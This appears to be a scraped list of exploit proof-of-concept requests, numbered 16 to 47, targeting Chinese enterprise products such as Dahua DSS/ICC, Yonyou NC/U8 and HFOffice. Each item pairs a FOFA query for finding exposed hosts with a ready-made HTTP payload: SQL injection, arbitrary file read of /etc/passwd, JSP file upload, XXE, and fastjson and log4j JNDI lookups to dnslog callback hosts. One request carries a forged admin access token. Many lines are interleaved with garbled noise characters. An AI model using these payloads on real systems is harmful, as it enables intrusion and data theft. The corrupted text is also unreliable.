Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
8 c3 M$ L& h; Z: a8 E2 L6 b+ YAccept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip
8 W1 }) h' v: G3 d
8 }' Q9 N( x3 |0 o! T' w  [
0 t8 _1 h% R0 K& D0 T" D16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
) F/ W$ g3 q! ~3 dUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
1 O/ r* l' B! MConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
' o, h0 a0 J4 Y  J1 F
" w& h+ @+ q, \" {
17. 大华 DSS itcBulletin SQL 注入
- S2 q; B- B1 h, T' I/ vFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
+ `: r# G: `! ^4 `* a# v( YHost: x.x.x.x
* r" J* k' R/ a: P% \2 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* _( `% f) V. [! z- fConnection: close
Content-Length: 345
. Y9 A, F1 ?( P# V4 W# L! rAccept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
5 m3 C% f8 c$ z6 I; P      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
$ e6 {1 k5 V0 D, s2 h      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>


18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
6 j3 }2 i$ K9 x# w( ?8 mGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 G" W8 X6 v1 RAccept-Encoding: gzip, deflate
! O; u/ ?) u6 ?3 [Accept: */*
Connection: keep-alive
6 _2 ~% N9 h1 q: K, V4 X% e/ n( p
1 |/ o0 I: c7 ^1 J5 a  {
" F9 r. i# I) ], c5 ]6 f, {
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
. a' r' }# p$ F0 K0 b7 V1 vGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
& a8 Z2 U) X3 }- b" k9 jUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
8 M/ l6 Y% S2 \Accept-Encoding: gzip, deflate
+ ]0 V2 C6 h+ J! ^Accept: */*
1 d( }' a+ G( `6 ^$ e3 ?# NConnection: keep-alive
0 r4 R( r8 N3 u0 n2 O

' p! t. y4 r" i( |1 M& m6 V20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
6 _& ?4 E1 k( _! M0 M) ^2 `$ PUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; f- `7 H" U# BConnection: close
; ~- ^) }6 M% T' _Accept: */*
Accept-Language: en
Accept-Encoding: gzip


21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
+ v' ^/ R- G# w0 Y3 I0 eHost: x.x.x.x
) r+ k+ m" F2 ^; ]& ~  _3 P# l# T* @. JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
+ \8 o& C% o' B3 Q% mAccept-Encoding: gzip
Connection: close
$ v) o2 O0 Y1 `* N/ n- Z! yContent-Type: application/json;charset=utf-8
0 z$ r5 j: l  @& w# J" C7 i
{
- x/ E; M' Z; p! \% [$ {"a":{
, _$ q8 P" W; Q, }/ d   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}

4 |8 A- a$ Y- A# x! D- L# g9 a
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
  K+ {6 v& b" jFOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
3 G, {% B, O4 y6 [# KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
! c! _0 _% r  o* [. w- G  @Content-Type: application/json;charset=utf-8
5 ?" z+ E$ n; R' y: j
{
: J4 T$ Q% u9 x- z2 i( A; J7 t: K! L"loginName":"${jndi:ldap://dnslog}"
}
8 a! T2 N, v5 y9 o: b* @
! N: g: _& \  u0 J/ Y
3 x2 V( O1 H5 f$ e* D' G: w
, h2 R7 u& E  e  v23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
3 h& s0 e# K; W, ~5 S) T+ }FOFA：icon_hash="-1935899595"
- r3 Y9 M3 D: OPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- ^- l: f! q( x8 N; [$ ^& f: VContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close
5 a1 ~# \9 Z0 H# m% D
{
    "a":{
4 p; B4 p, K4 |7 L% l& K        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
/ R2 s9 C! e; i$ F% Y! G2 a        }""
3 V2 n8 m1 f# c+ P& t+ t}

, N) g. Q% I* k- A; t
24. 用友NC 6.5 accept.jsp任意文件上传
9 N7 b8 C% p" oFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
9 Y5 t5 N0 F5 N" `5 yUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
" ]+ m, j* W1 N0 W9 T, tContent-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
9 E# ~% i7 x2 _1 X6 DContent-Type: text/plain

& h  {8 ~: I+ ^7 ^<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

- V  @+ }, ?6 i4 i1 s, J& o; A7 B' g\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
3 u2 ?, B$ M- ~-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
/ Z$ S' {% r: T7 @# e) I# j# s
7 D: N& J. k% u( Y
; [) ^$ C! H$ a# v9 a  B" t25. 用友NC registerServlet JNDI 远程代码执行
# ~& p6 A8 `* V( U( |- B8 UFOFA：app="用友-UFIDA-NC"
5 A  F0 e% u) e  sPOST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
& ]2 D( c1 _* c; \" V  `1 ~Accept-Encoding: gzip, deflate
# V( l& G3 s, T1 ~; `/ n7 l# {Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
* d/ S( }. K$ u( V. O
) |' I) Q: S$ P' rtype=1&dsname=ldap://dnslog



26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
) @# n1 [8 n7 q( D8 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
8 ~& i" c# a3 n) V: L/ x2 `3 b) Y% OAccept: */*
Connection: keep-alive
5 J9 @' N$ L" H. a( U) R
; w7 D9 u/ i( u: A5 u( D
6 T: G7 F$ w( D9 B27. 用友 NC showcontent SQL注入
, G+ y. z4 v, H7 A9 @8 W% kFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
' T% D: `$ B4 A. ^8 u5 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
+ Q5 p( q9 ~# I* xConnection: close
Content-Type: text/xml; charset=utf-8


4 H5 o5 q9 r5 y7 _( @28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
! k6 d! n5 K) t! hConnection: close
" W# M7 l$ c7 O7 iContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
% h- `; G7 b9 Z# R% @8 v8 LContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
) t3 _8 _. C% E8 U+ k# q------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


/uapim/static/pages/nc/head.jsp
2 j7 c  }$ X- l) c( u
29. 用友NC down/bill SQL注入
$ ?' j4 S6 k  P4 TFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
7 n' A4 Q0 s; YGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
. M2 J- L' z: \Host: your-ip
' J# C) P8 H2 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
% @3 b0 [. {  `7 [" ^) rAccept-Encoding: gzip, deflate
2 T' e7 _8 H3 ?; [' |Accept: */*
Connection: keep-alive
- Q, X: @( ^& [" l0 z4 P& I
4 D- t% R/ u3 V; Z& M$ o4 s+ Y
30. 用友NC importPml SQL注入
2 l1 a1 ^# {( w- j( ^FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
& |3 h$ C% b/ |3 M) }Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


9 o4 D3 E! e, l5 G' x& @: |& @31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
3 H& a1 _6 j( d* |% D% D, v! g2 @GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
/ q! }) c2 l5 `2 W7 _& d9 }Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
5 x, h& }4 f: J% t( D+ c1 O, ?Content-Type: application/x-www-form-urlencoded


6 {2 |6 y& c2 E8 W5 j3 w1 T32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
) u- b" S7 M5 P! ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ Z9 p  L* J0 d  L$ u( k2 kContent-Type: application/x-www-form-urlencoded
& E0 C1 A$ v# t4 lAccept-Encoding: gzip, deflate
- l4 _) m6 ^% b; vAccept: */*
Connection: keep-alive
. M4 b: A! f" J+ O; s. g

3 \% n0 ^# s  v7 H33. 用友NC downTax/download SQL注入
4 d# C& ]9 u$ P  V; Sversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 ]1 s/ O. _' r! jContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
& f; ?: o6 H4 [6 A( _Accept: */*
Connection: keep-alive
6 M; F  z5 Y2 V0 r+ N
: W% ?/ ]2 l. T9 A8 U. ~
34. 用友NC warningDetailInfo接口SQL注入
: k* V8 @5 z  P) u5 n) _FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
% I  {8 X7 N; x; {. K/ A) D; IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" \  C  {0 E$ t6 Z" A) r1 BContent-Type: application/x-www-form-urlencoded
9 i; n7 _  w& w8 \! H/ qAccept-Encoding: gzip, deflate
Accept: */*
9 j7 n8 @+ `- `) C4 m5 U5 @Connection: keep-alive
) |8 j; X" p6 M

35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
' T  t8 _. n" g5 Z8 h) haccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
4 i7 ~3 R4 T! Y7 `  ]1 V4 V
--fd28cb44e829ed1c197ec3bc71748df0
. m- w8 N/ C4 k2 `0 cContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
9 i) ^! B4 V  t2 f( Q7 x3 m
$ E7 g' x% s! c( ]& r* k( N<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
# z8 f6 Z6 w1 B: o1 K( G1 j& W

36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
. N# x* f0 R( a5 V$ iHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
: C/ h* h+ k2 Z( g% i% {; eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" s! Q- q9 t2 c* mAccept-Encoding: gzip, deflate
* k. R, N3 K( V. }/ N! L$ cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) e7 G7 K" |7 }" ?7 SConnection: close
: S# t: U5 x( Z  M5 b( F" SContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

0 D/ `9 e. n" N9 amsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
( Z* u( b, l0 A- `' w! f9 R, U

37. 用友NC-Cloud IUpdateService XXE
! L+ W3 k' x  }FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
0 R( j/ |, r$ F4 SHost: 192.168.40.130:8989
$ S6 h, O( J3 w0 M. N( fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
8 d8 a) U& ~/ e5 a4 WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ P/ f! M0 F2 B$ v# \! `Connection: close
4 V- w# N9 ]. i0 q$ |" s! h* J+ |Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
; I3 l2 p5 w& p( HUpgrade-Insecure-Requests: 1
% u8 j; w" ?( k; C3 z, s& }" p
2 `% p3 B! z# y! {<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
8 r' G( q' u6 p# r3 e5 ^  r<soapenv:Body>
5 ~5 b$ |/ K) V$ f<iup:getResult>
<!--type: string-->
8 u3 t: P$ l. ]9 B<iup:string><![CDATA[
0 k, B, Z  h. B+ i<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
7 W8 Y" a! b1 C' v5 j" b4 E</iup:getResult>
: M$ C. V+ x, V1 W3 t* \; Y</soapenv:Body>
</soapenv:Envelope>

' N4 u* J7 W0 V1 \1 _
$ T) }" I  o$ _& J
38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
2 @: B0 t! H6 e; UHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
- L) K; G8 f* d$ X/ W' |/ {Accept-Encoding: gzip, deflate
- ?" X: ?5 z# b' i& TAccept-Language: zh-CN,zh;q=0.9
Connection: close
! n( Z' m9 Y! a* x5 AContent-Type: application/x-www-form-urlencoded

2 ]% a8 v  P' n0 k__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


2 }$ x6 p# ?7 _, `39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
8 U( v' h* d  U- x. M% s+ m; N9 M: bPOST /servlet/RegisterServlet HTTP/1.1
; d( @7 l( ^4 W) ]Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
& F/ O! E' x9 Z% c1 XConnection: close
Content-Length: 85
Accept: */*
9 A* U6 t9 d( d- ?Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
6 d' x* k; V; qAccept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
" Y: B9 A9 b  H; K" S& D2 h( ^* p

40. 用友U8-Cloud XChangeServlet XXE
0 A% N' S) O2 M9 p8 CFOFA：app="用友-U8-Cloud"
* y3 [, Y, }2 {5 s- ~POST /service/XChangeServlet HTTP/1.1
) {- I* D3 w9 F. kHost: x.x.x.x
0 u  j* p1 p0 b  N$ l; o- tUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close
$ i8 K  m4 Y) @& X* `
. L9 @0 s: O! m# r6 h- `9 @<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

$ I& y; ^( l/ X% O6 p8 J5 Z/ o3 X& a* k
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
  |: A1 T2 d3 v0 K2 B8 s) ^GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
( C/ R, V- B  |* Q9 AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
; k( X3 d% F; o& g; PConnection: close

. J4 {, H" z3 d- t
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
0 h/ X, q3 y7 b' F, IHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
0 r* ~% ?6 ?# U: x& }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
! i* |. {1 D  O, d3 V
PAYLOAD

5 m+ T  H* ~3 U3 k6 j
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

" Q! ^# e4 e" A' q% p43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
, U5 ?+ ~) q: R' e- v# [Content-Type: text/xml;charset=UTF-8

: n& i, g* L/ X# N" \) T<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
! _; q0 G5 L/ l# @   <soapenv:Header/>
" N, a& ~7 N5 I1 d7 X+ l   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
# Q; J# `9 \2 p   </soapenv:Body>
6 b* _8 P( U' l  E) T+ v5 r4 i</soapenv:Envelope>
# Z$ z' r8 W( _5 p& {7 M7 q) i& [
: P4 G8 ~5 r: O: y& O6 d
, V2 ]7 L" _! }- k1 i7 B44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
4 m) p1 Z+ `/ O& X8 \$ yGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
0 Y1 T: N3 e1 M1 v- gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 \6 e( M. L* ^% m7 g( AConnection: close
0 t& h) U' u3 k8 i* y
8 x; |$ B! U6 O, `( a( S
3 l' t6 X% O$ Z$ D- ^3 G/ n  r' l0 p45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
' ?* S, n4 z: a; g6 u/ |) ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
- n8 G/ E% m) W2 ^, h1 M7 s: H+ VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# R. W' u2 L% b, ^2 x  N- TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; p1 \, t5 g4 Z3 \$ e- a% HContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
$ j( y+ P8 g2 x; D) z) p
reqData=<?xml version="1.0"?>
/ R# O) \2 t- ?<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

% A/ X7 I/ ^( Y1 e) v: u
% u' A  {; x, A; }! {3 D+ w# c8 k46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
3 F) ]1 C) W8 C" @2 s$ `  UGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
, J/ L1 I$ e# c1 v1 o6 V5 M) QHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ {4 k( ~" U; ]  @% RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

# |# F2 b/ Z' T2 t
$ r  p3 [% p- D0 u47. 用友GRP A++Cloud 政府财务云 任意文件读取
/ `! m1 ^4 ~9 H2 tFOFA：body="/pf/portal/login/css/fonts/style.css"
+ V4 A7 Y0 |4 j5 D6 l( tGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
, L  y; F. p& ]3 ?9 ?2 f6 Z. KHost: x.x.x.x
5 m5 I" M* t" S% kCache-Control: max-age=0
( C7 `7 z, |% ]8 aUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
1 a$ }5 t0 D' }2 O7 Y+ q: @Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
